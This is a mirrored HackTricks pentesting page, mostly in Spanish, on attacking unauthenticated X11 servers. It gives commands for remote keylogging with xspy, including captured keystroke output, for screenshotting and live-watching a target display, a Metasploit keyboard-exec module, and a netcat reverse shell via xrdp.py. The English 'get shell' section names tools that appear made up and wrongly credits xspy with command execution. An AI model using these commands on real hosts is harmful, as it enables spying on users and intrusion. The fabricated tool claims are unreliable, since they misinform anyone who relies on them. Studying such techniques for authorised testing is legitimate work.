mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-27 15:12:11 +00:00
224 lines
12 KiB
Markdown
224 lines
12 KiB
Markdown
# 6000 - Pentesting X11
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||
|
||
**Obtén recompensas sin demoras**\
|
||
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
|
||
|
||
**Obtén experiencia en pentesting web3**\
|
||
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
|
||
|
||
**Conviértete en la leyenda del hacker web3**\
|
||
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
|
||
|
||
[**Regístrate en HackenProof**](https://hackenproof.com/register) ¡comienza a ganar con tus hacks!
|
||
|
||
{% embed url="https://hackenproof.com/register" %}
|
||
|
||
## Información básica
|
||
|
||
El sistema X Window (también conocido como X) es un sistema de ventanas para pantallas de mapas de bits, que es común en sistemas operativos basados en UNIX. X proporciona el marco básico para un entorno basado en GUI. X tampoco impone la interfaz de usuario, esto lo manejan programas individuales.\
|
||
De: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||
|
||
**Puerto predeterminado:** 6000
|
||
```
|
||
PORT STATE SERVICE
|
||
6000/tcp open X11
|
||
```
|
||
## Enumeración
|
||
|
||
Verificar la **conexión anónima:**
|
||
```bash
|
||
nmap -sV --script x11-access -p <PORT> <IP>
|
||
msf> use auxiliary/scanner/x11/open_x11
|
||
```
|
||
#### Enumeración local
|
||
|
||
El archivo **`.Xauthority`** en la carpeta de inicio del usuario es **utilizado** por **X11 para la autorización**. Desde [**aquí**](https://stackoverflow.com/a/37367518):
|
||
|
||
> MIT-magic-cookie-1: Generando 128 bits de clave ("cookie"), almacenándola en \~/.Xauthority (o donde apunte la variable de entorno XAUTHORITY). El cliente la envía al servidor en texto plano. El servidor verifica si tiene una copia de esta "cookie" y, si es así, se permite la conexión. La clave es generada por DMX.
|
||
|
||
{% hint style="warning" %}
|
||
Para **utilizar la cookie**, debes establecer la variable de entorno: **`export XAUTHORITY=/ruta/a/.Xauthority`**
|
||
{% endhint %}
|
||
|
||
## Verificar conexión
|
||
```bash
|
||
xdpyinfo -display <ip>:<display>
|
||
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
|
||
```
|
||
## Keylogging
|
||
|
||
[xspy](http://tools.kali.org/sniffingspoofing/xspy) para capturar las pulsaciones del teclado.
|
||
|
||
Salida de ejemplo:
|
||
```
|
||
xspy 10.9.xx.xx
|
||
|
||
opened 10.9.xx.xx:0 for snoopng
|
||
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
|
||
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
|
||
```
|
||
## Captura de pantallas
|
||
|
||
Capturar pantallas durante una prueba de penetración puede ser útil para documentar y demostrar las vulnerabilidades encontradas. Aquí hay algunas técnicas para capturar pantallas en el entorno X11:
|
||
|
||
### 1. Utilizando la herramienta `xwd`
|
||
|
||
La herramienta `xwd` se utiliza para capturar pantallas en el entorno X11. Puede usar el siguiente comando para capturar una pantalla y guardarla en un archivo:
|
||
|
||
```
|
||
xwd -root -out screenshot.xwd
|
||
```
|
||
|
||
### 2. Utilizando la herramienta `import`
|
||
|
||
La herramienta `import` también se puede utilizar para capturar pantallas en el entorno X11. Puede usar el siguiente comando para capturar una pantalla y guardarla en un archivo:
|
||
|
||
```
|
||
import -window root screenshot.png
|
||
```
|
||
|
||
### 3. Utilizando la combinación de teclas `Print Screen`
|
||
|
||
En muchos entornos de escritorio, puede capturar una pantalla presionando la tecla "Print Screen" en su teclado. Esto guardará automáticamente la captura de pantalla en un archivo.
|
||
|
||
### 4. Utilizando herramientas de captura de pantalla
|
||
|
||
Además de las herramientas mencionadas anteriormente, también puede utilizar herramientas de captura de pantalla específicas, como `scrot` o `gnome-screenshot`, para capturar pantallas en el entorno X11.
|
||
|
||
Recuerde que al capturar pantallas durante una prueba de penetración, es importante tener en cuenta las políticas y regulaciones de seguridad de la organización objetivo. Asegúrese de obtener el permiso adecuado antes de realizar cualquier captura de pantalla.
|
||
```bash
|
||
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
|
||
convert screenshot.xwd screenshot.png
|
||
```
|
||
## Vista de Escritorio Remoto
|
||
|
||
Fuente: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
|
||
```
|
||
./xrdp.py <IP:0>
|
||
```
|
||
Camino desde: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||
|
||
Primero necesitamos encontrar el ID de la ventana usando xwininfo.
|
||
```
|
||
xwininfo -root -display 10.9.xx.xx:0
|
||
|
||
xwininfo: Window id: 0x45 (the root window) (has no name)
|
||
|
||
Absolute upper-left X: 0
|
||
Absolute upper-left Y: 0
|
||
Relative upper-left X: 0
|
||
Relative upper-left Y: 0
|
||
Width: 1024
|
||
Height: 768
|
||
Depth: 16
|
||
Visual: 0x21
|
||
Visual Class: TrueColor
|
||
Border width: 0
|
||
Class: InputOutput
|
||
Colormap: 0x20 (installed)
|
||
Bit Gravity State: ForgetGravity
|
||
Window Gravity State: NorthWestGravity
|
||
Backing Store State: NotUseful
|
||
Save Under State: no
|
||
Map State: IsViewable
|
||
Override Redirect State: no
|
||
Corners: +0+0 -0+0 -0-0 +0-0
|
||
-geometry 1024x768+0+0
|
||
```
|
||
**XWatchwin**
|
||
|
||
Para **visualización en vivo** necesitamos usar
|
||
```bash
|
||
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
|
||
./xwatchwin 10.9.xx.xx:0 -w 0x45
|
||
```
|
||
## Obtener Shell
|
||
|
||
To obtain a shell, we can exploit vulnerabilities in the X11 server. The X11 server is responsible for managing graphical user interfaces in Unix-like operating systems.
|
||
|
||
One common vulnerability is the X11 server misconfiguration, which allows unauthorized users to connect to the server and execute commands. By exploiting this vulnerability, we can gain access to a shell on the target system.
|
||
|
||
To exploit the X11 server misconfiguration, we can use tools like Xspy or XEvil. These tools allow us to intercept X11 traffic and execute arbitrary commands on the target system.
|
||
|
||
Another method to obtain a shell is by exploiting the X11 forwarding feature. X11 forwarding allows us to run graphical applications on a remote server and display them on our local machine. However, if the X11 forwarding is misconfigured, we can use it to execute commands on the remote server and obtain a shell.
|
||
|
||
To exploit the X11 forwarding misconfiguration, we can use tools like Xinject or Xploit. These tools allow us to inject malicious commands into the X11 traffic and execute them on the remote server.
|
||
|
||
It is important to note that exploiting vulnerabilities in the X11 server can be illegal and unethical. Always ensure that you have proper authorization and permission before attempting any penetration testing activities.
|
||
```
|
||
msf> use exploit/unix/x11/x11_keyboard_exec
|
||
```
|
||
Otra forma:
|
||
|
||
**Reverse Shell:** Xrdp también permite obtener una reverse shell a través de Netcat. Escribe el siguiente comando:
|
||
|
||
**./xrdp.py \<IP:0> –no-disp**
|
||
|
||
![](../.gitbook/assets/112217\_0051\_ExploitingX15.jpeg)
|
||
|
||
Aparecerá un nuevo panel de control donde podemos ver la opción de R-shell, que se ilustra a continuación:
|
||
|
||
![](../.gitbook/assets/112217\_0051\_ExploitingX16.jpeg)
|
||
|
||
Iniciaremos el modo de escucha de Netcat en nuestro sistema local en el puerto 5555, que se ilustra a continuación:
|
||
|
||
![](../.gitbook/assets/112217\_0051\_ExploitingX17.jpeg)
|
||
|
||
Luego, añade la IP y el puerto y selecciona R-Shell, que se ilustra a continuación:
|
||
|
||
![](../.gitbook/assets/112217\_0051\_ExploitingX18.jpeg)
|
||
|
||
Ahora, como se puede ver a continuación, tenemos acceso completo al sistema:
|
||
|
||
![](../.gitbook/assets/112217\_0051\_ExploitingX19.jpeg)
|
||
|
||
{% embed url="https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref" %}
|
||
|
||
## Shodan
|
||
|
||
* `port:6000 x11`
|
||
|
||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||
|
||
**Obtén recompensas sin demoras**\
|
||
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Recibirás la recompensa después de que se verifique el error.
|
||
|
||
**Obtén experiencia en pentesting web3**\
|
||
¡Los protocolos blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
|
||
|
||
**Conviértete en la leyenda del hacker web3**\
|
||
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
|
||
|
||
[**Regístrate en HackenProof**](https://hackenproof.com/register) y comienza a ganar con tus hacks!
|
||
|
||
{% embed url="https://hackenproof.com/register" %}
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|